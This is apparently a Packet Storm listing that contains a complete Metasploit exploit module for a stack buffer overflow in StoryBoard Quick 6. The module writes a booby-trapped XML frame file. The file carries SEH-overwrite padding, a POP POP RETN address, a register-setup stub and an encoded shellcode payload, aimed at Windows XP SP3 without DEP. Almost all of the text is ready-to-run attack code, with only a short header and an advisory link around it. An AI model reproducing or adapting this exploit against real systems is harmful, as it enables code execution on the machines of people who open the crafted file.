StoryBoard Quick 6 Memory Corruption

2013-11-05T00:00:00
ID PACKETSTORM:123907
Type packetstorm
Reporter Nick Freeman
Modified 2013-11-05T00:00:00

Description

                                        
                                            `require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'StoryBoard Quick 6 Memory Corruption Vulnerability',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in StoryBoard Quick 6.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'vt [nick.freeman@security-assessment.com]' ],  
'Version' => '$Revision: 10394 $',  
'References' =>  
[  
[ 'URL', 'http://security-assessment.com/files/documents/advisory/StoryBoard_Quick_6-Stack_Buffer_Overflow.pdf' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EAX',  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Default (WinXP SP3 No DEP)',  
{  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 30 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', "Frame-001.xml"]),  
], self.class)  
end  
  
def exploit  
  
template = %Q|<plist version="1.0">  
<dict>  
<key>ID</key>  
<integer>1</integer>  
<key>Objects</key>  
<array>  
<dict>  
<key>Size-X</key>  
<real>134.00000000</real>  
<key>Size-Y</key>  
<real>667.00000000</real>  
<key>Type</key>  
<string>cLIB</string>  
<key>Library</key>  
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>  
<key>ID</key>  
<string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREPLACE_1BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.xo</string>  
<key>Colorization</key>  
<dict>  
<key>Arms</key>  
<string>ff4b70ff</string>  
<key>Eyes</key>  
<string>ff00ff00</string>  
<key>Hair</key>  
<string>ff68502d</string>  
<key>Face</key>  
<string>fffdd8a1</string>  
<key>REPLACE_2</key>  
<string>ff070707</string>  
<key>Skin</key>  
<string>ffd7b583</string>  
<key>Legs</key>  
<string>ff06007e</string>  
</dict>  
<key>Whom</key>  
<string>LINDA</string>  
<key>Scale-X</key>  
<real>0.74842578</real>  
<key>Scale-Y</key>  
<real>0.74842578</real>  
<key>Offset-Y</key>  
<real>41.60000610</real>  
</dict>  
<dict>  
<key>Size-X</key>  
<real>310.00000000</real>  
<key>Size-Y</key>  
<real>575.00000000</real>  
<key>Type</key>  
<string>cLIB</string>  
<key>Library</key>  
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 2.artgrid</string>  
<key>ID</key>  
<string>30012.xo</string>  
<key>Colorization</key>   
<dict>  
<key>Arms</key>  
<string>ff909090</string>  
<key>Eyes</key>  
<string>ff00ff00</string>  
<key>Hair</key>  
<string>ff090909</string>  
<key>Face</key>  
<string>ffff0837</string>  
<key>Shoe</key>  
<string>ff1100c2</string>  
<key>Skin</key>  
<string>ffb78d4f</string>  
<key>Legs</key>  
<string>ff050505</string>  
</dict>  
<key>Whom</key>  
<string>C.J.</string>  
<key>Scale-X</key>  
<real>0.86817396</real>  
<key>Scale-Y</key>  
<real>0.86817396</real>  
<key>Offset-Y</key>  
<real>41.60000610</real>  
</dict>  
<dict>  
<key>IsSelected</key>  
REPLACE_3<true/>  
<key>Size-X</key>  
<real>682.00000000</real>  
<key>Size-Y</key>  
<real>565.00000000</real>  
<key>Type</key>  
<string>cLIB</string>  
<key>Library</key>  
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>  
<key>ID</key>  
<string>30013.xo</string>  
<key>Colorization</key>  
<dict>  
<key>Arms</key>  
<string>ff4b70ff</string>  
<key>Eyes</key>  
<string>ff00ff00</string>  
<key>Hair</key>  
<string>ff68502d</string>  
<key>Face</key>  
<string>fffdd8a1</string>  
<key>Shoe</key>  
<string>ff070707</string>  
<key>Skin</key>  
<string>ffd7b583</string>  
<key>Legs</key>  
<string>ff06007e</string>  
</dict>  
<key>Whom</key>  
<string>LINDA</string>  
<key>Scale-X</key>  
<real>0.95718473</real>  
<key>Scale-Y</key>  
<real>0.95718473</real>  
<key>Offset-Y</key>  
<real>62.40469360</real>  
</dict>  
</array>  
<key>FrameDB</key>  
<dict>  
<key>TXT-0006</key>  
<data>  
MDYvMDMvMTEgMjM6Mjg6MDMA  
</data>  
</dict>  
<key>UN-Thumb</key>  
<true/>  
</dict>  
</plist>  
|  
  
sploit = template.gsub(/REPLACE_1/, "\xd9\xcf\xe5\x74")  
  
padd = "\x43" * 4256  
nseh = "\x90\xeb\x06\x90"  
seh = "\x25\x12\xd1\x72" # POP, POP, RETN  
nops = "\x90"*9  
  
# set buffer register  
bufregstub = "\x8b\xc4" # mov eax, esp  
bufregstub += "\x33\xc9" # xor ecx  
bufregstub += "\x83\xc1\x7f" # add ecx, 7f  
bufregstub += "\x6b\xc9\x17" # imul ecx,17  
bufregstub += "\x83\xc1\x7b" # add ecx,7b  
bufregstub += "\x03\xc1" # add eax,ecx # eax now points to buffer, ready to decode shellcode.  
  
sploit = sploit.gsub(/REPLACE_2/,padd + nseh + seh + nops + bufregstub + payload.encoded + ("\x44"*(11137-payload.encoded.length)))  
  
sploit = sploit.gsub(/REPLACE_3/, "\x45"*658)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
end  
`